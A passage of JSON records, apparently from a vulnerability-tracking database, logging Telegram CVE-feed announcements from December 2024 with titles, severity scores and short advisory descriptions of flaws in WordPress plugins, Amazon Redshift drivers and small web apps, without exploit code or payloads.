been found in code-projects Simple Admin Panel 1.0. This issue affects some unknown processing of the file catDeleteController.php. The manipulation of the argument record leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T06:32:12.000000Z"}, {"uuid": "2ba4be74-cc2c-4520-9a6d-add9fd676e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://t.me/cvedetector/13641", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12932 - Simple Admin Panel Remote Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12932 \nPublished : Dec. 26, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file addSizeController.php. The manipulation of the argument size leads to cross site scripting. The attack can be launched remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:51:55.000000Z"}, {"uuid": "1841bd6d-6c88-42e8-92e9-1f9498ad27b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://t.me/cvedetector/13640", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12930 - Code-Projects Simple Admin Panel Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12930 \nPublished : Dec. 26, 2024, 2:15 a.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0 and classified as problematic. This issue affects some unknown processing of the file addCatController.php. The manipulation of the argument c_name leads to cross site scripting. The attack may be initiated remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:01:44.000000Z"}, {"uuid": "278b951c-d644-4b04-8ab7-6e5f5048e8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://t.me/cvedetector/13639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12928 - Code-Projects Simple Admin Panel Remote SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12928 \nPublished : Dec. 26, 2024, 12:15 a.m. | 43\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Simple Admin Panel 1.0. This affects an unknown part. The manipulation of the argument c_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T02:21:24.000000Z"}, {"uuid": "49d1d5fb-14d3-454d-b5d5-78dac4b546e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12929", "type": "seen", "source": "https://t.me/cvedetector/13638", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12929 - Apache Code-projects Student Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12929 \nPublished : Dec. 26, 2024, 12:15 a.m. | 43\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Student Management System 1.0.00 and classified as critical. This vulnerability affects unknown code of the file /addCatController.php. The manipulation of the argument size leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T02:21:23.000000Z"}, {"uuid": "d644849c-16e9-46f3-8fd4-9d3642d64eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12236", "type": "seen", "source": "https://t.me/cvedetector/12514", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12236 - \"Google Cloud Vertex Gemini API VPC-SC File URI Exfiltration\"\", \n  \"Content\": \"CVE ID : CVE-2024-12236 \nPublished : Dec. 10, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : A security issue exists in Vertex Gemini API for customers using VPC-SC. By utilizing a custom crafted file URI for image input, data exfiltration is possible due to requests being routed outside the VPC-SC security perimeter, circumventing the intended security restrictions of VPC-SC.  \n  \nNo further fix actions are needed. Google Cloud Platform implemented a fix to return an error message when a media file URL is specified in the fileUri parameter and VPC Service Controls is enabled. Other use cases are unaffected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T17:28:33.000000Z"}, {"uuid": "388ef3d2-aaa2-4fcd-a5a8-7b1086137857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://t.me/cvedetector/13621", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12335 - Avada Fusion Builder WordPress Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12335 \nPublished : Dec. 25, 2024, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Avada (Fusion) Builder plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.11.12 via the handle_clone_post() function and the 'fusion_blog' shortcode and due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T08:47:50.000000Z"}, {"uuid": "f5c1acbc-82bb-492e-86b6-c686289d650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://t.me/cvedetector/13617", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12428 - Wordpress WP Data Access SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12428 \nPublished : Dec. 25, 2024, 5:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Data Access \u2013 App, Table, Form and Chart Builder plugin plugin for WordPress is vulnerable to SQL Injection via the 'order[user_login][dir]' parameter in all versions up to, and including, 5.5.22 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T07:07:32.000000Z"}, {"uuid": "2809a94b-7336-475f-80a2-d744b291581f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://t.me/cvedetector/13616", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12636 - WordPress Legal Pages CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12636 \nPublished : Dec. 25, 2024, 5:15 a.m. | 39\u00a0minutes ago \nDescription : The Privacy Policy Generator, Terms & Conditions Generator WordPress Plugin : WP Legal Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.6. This is due to missing or incorrect nonce validation on the 'create_popup_delete_process' function. This makes it possible for unauthenticated attackers to delete popups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T07:07:31.000000Z"}, {"uuid": "66346072-c9f0-477a-b2e9-21e5467f0a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://t.me/cvedetector/13613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12272 - WP Travel Engine \u2013 Elementor Widgets Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12272 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The WP Travel Engine \u2013 Elementor Widgets | Create Travel Booking Website Using WordPress and Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.7 via several widgets. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:22.000000Z"}, {"uuid": "fa32250b-d6a1-446b-a1d7-3565b4bf6016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://t.me/cvedetector/13533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12903 - Evoko Home Default Permissions Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12903 \nPublished : Dec. 23, 2024, 1:15 p.m. | 41\u00a0minutes ago \nDescription : Incorrect default permissions vulnerability in Evoko Home, affecting version 2.4.2 to 2.7.4. A non-admin user could exploit weak file and folder permissions to escalate privileges, execute arbitrary code and maintain persistence on the compromised machine. It has been identified that full control permissions exist on the \u2018Everyone\u2019 group (i.e. any user who has local access to the operating system regardless of their privileges). \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T14:59:30.000000Z"}, {"uuid": "55d30e14-c740-4aa9-ac8f-1362d4536d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://t.me/cvedetector/13532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12902 - ANCHOR from Global Wisdom Software Default Privilege Escalation vulnerabiliy\", \n  \"Content\": \"CVE ID : CVE-2024-12902 \nPublished : Dec. 23, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : ANCHOR from Global Wisdom Software is an integrated product running on a Windows virtual machine. The underlying Windows OS of the product contains high-privilege service accounts. If these accounts use default passwords, attackers could remotely log in to the virtual machine using the default credentials. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T13:19:09.000000Z"}, {"uuid": "c9ad2fc6-d818-485e-93a5-c094ac1f2e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://t.me/cvedetector/13512", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12895 - TreasureHuntGame TreasureHunt SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12895 \nPublished : Dec. 22, 2024, 2:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability has been found in TreasureHuntGame TreasureHunt up to 963e0e0 and classified as critical. Affected by this vulnerability is the function console_log of the file TreasureHunt/checkflag.php. The manipulation of the argument problema leads to sql injection. The attack can be launched remotely. The identifier of the patch is 8bcc649abc35b7734951be084bb522a532faac4e. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T16:24:56.000000Z"}, {"uuid": "8c2a2041-7f42-4239-a92f-0f6ec331175b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://t.me/cvedetector/12348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12353 - SourceCodester Phone Contact Manager System Local Input Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12353 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in SourceCodester Phone Contact Manager System 1.0. This issue affects the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation of the argument name leads to improper input validation. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:25.000000Z"}, {"uuid": "679f4f75-b289-4966-8798-ff89496eb24d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://t.me/cvedetector/12347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12352 - TOTOLINK EX1800T Remote Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12352 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in TOTOLINK EX1800T 9.1.0cu.2112_B20220316. This vulnerability affects the function sub_40662C of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ssid leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:24.000000Z"}, {"uuid": "45634190-e959-4208-b5a4-b91bf6b3f217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://t.me/cvedetector/13612", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12413 - MarketKing \u2014 WooCommerce Multivendor Marketplace Solution - Missing Capability Checks Allow Unauthorized Access\", \n  \"Content\": \"CVE ID : CVE-2024-12413 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The MarketKing \u2014 Ultimate WooCommerce Multivendor Marketplace Solution plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions like 'marketking_delete_team_member', 'marketkingrejectuser', 'marketking_save_profile_settings', and many more in all versions up to, and including, 2.0.00. This makes it possible for unauthenticated attackers to delete users, update settings, approve users, and more. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:21.000000Z"}, {"uuid": "c60ef22b-ee5c-4aff-9b27-99ce9034169d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://t.me/cvedetector/13611", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12190 - Bit Form Contact Form Unauthenticated Data Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12190 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the bitform-form-entry-edit endpoint in all versions up to, and including,  2.17.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view all form submissions from other users. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:21.000000Z"}, {"uuid": "99916eb1-6f9d-488a-ab77-2a0fe1333c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://t.me/cvedetector/13571", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12034 - \"Google reCAPTCHA WordPress IP Unblocking Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12034 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Advanced Google reCAPTCHA plugin for WordPress is vulnerable to IP unblocking in all versions up to, and including, 1.25. This is due to the plugin not utilizing a strong unique key when generating an unblock request. This makes it possible for unauthenticated attackers to unblock their IP after being locked out due to too many bad password attempts \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:50.000000Z"}, {"uuid": "57dc90ae-0341-4560-b46a-fa676d0415ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://t.me/cvedetector/13569", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12210 - WooCommerce Print Invoice Accessibility Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12210 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Print Invoice & Delivery Notes for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wcdn_remove_shoplogo' AJAX action in all versions up to, and including, 5.4.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to remove the shop's logo. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:49.000000Z"}, {"uuid": "ccbacae3-b0d2-4e09-9bd8-ed8960d81fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://t.me/cvedetector/13608", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12744 - \"Amazon Redshift JDBC Driver SQL Injection Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-12744 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift JDBC Driver in v2.1.0.31 allows a user to gain escalated privileges via the getSchemas, getTables, or getColumns Metadata APIs. Users should upgrade to the driver version 2.1.0.32 or revert to driver version 2.1.0.30. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:28.000000Z"}, {"uuid": "dfdc3a16-a372-4953-9b95-8fe64c6b19fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://t.me/cvedetector/13607", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12746 - Amazon Redshift ODBC Driver SQL Injection Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12746 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift ODBC Driver v2.1.5.0 (Windows or Linux) allows a user to gain escalated privileges via the SQLTables or SQLColumns Metadata APIs. Users are recommended to upgrade to the driver version 2.1.6.0 or revert to driver version 2.1.4.0. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:27.000000Z"}, {"uuid": "629522bc-452d-4275-8771-293705925f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://t.me/cvedetector/13606", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12745 - Amazon Redshift Python Connector SQL Injection Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12745 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift Python Connector v2.1.4 allows a user to gain escalated privileges via the get_schemas, get_tables, or get_columns Metadata APIs. Users are recommended to upgrade to the driver version 2.1.5 or revert to driver version 2.1.3. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:26.000000Z"}, {"uuid": "305da1b8-6943-4bb6-954e-fea891c92031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://t.me/cvedetector/12447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12369 - OpenID Connect Client Authorization Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12369 \nPublished : Dec. 9, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in OIDC-Client. When using the RH SSO OIDC adapter with EAP 7.x or when using the elytron-oidc-client subsystem with EAP 8.x, authorization code injection attacks can occur, allowing an attacker to inject a stolen authorization code into the attacker's own session with the client with a victim's identity. This is usually done with a Man-in-the-Middle (MitM) or phishing attack. \nSeverity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:04:27.000000Z"}, {"uuid": "9659f09e-d431-405f-ad85-b366c20610c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://t.me/cvedetector/13584", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12268 - WordPress Gutenberg Blocks Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12268 \nPublished : Dec. 24, 2024, 11:15 a.m. | 25\u00a0minutes ago \nDescription : The Responsive Blocks \u2013 WordPress Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'responsive-block-editor-addons/portfolio' block in all versions up to, and including, 1.9.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T12:43:56.000000Z"}, {"uuid": "606c1c73-32fd-403d-b8ab-cbcc0633112f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://t.me/cvedetector/13581", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12103 - WordPress Content No Cache Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12103 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Content No Cache: prevent specific content from being cached plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 0.1.2 via the eos_dyn_get_content action due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:46.000000Z"}, {"uuid": "7f3d3b03-2098-4b94-99f1-f13a428d2b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://t.me/cvedetector/13580", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12031 - \"WordPress Advanced Floating Content Plugin SQL Injection Flaw\"\", \n  \"Content\": \"CVE ID : CVE-2024-12031 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Advanced Floating Content plugin for WordPress is vulnerable to SQL Injection via the 'floating_content_duplicate_post' function in all versions up to, and including, 3.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:45.000000Z"}, {"uuid": "2b1fd555-556a-4c86-a534-9a7330a171e0", 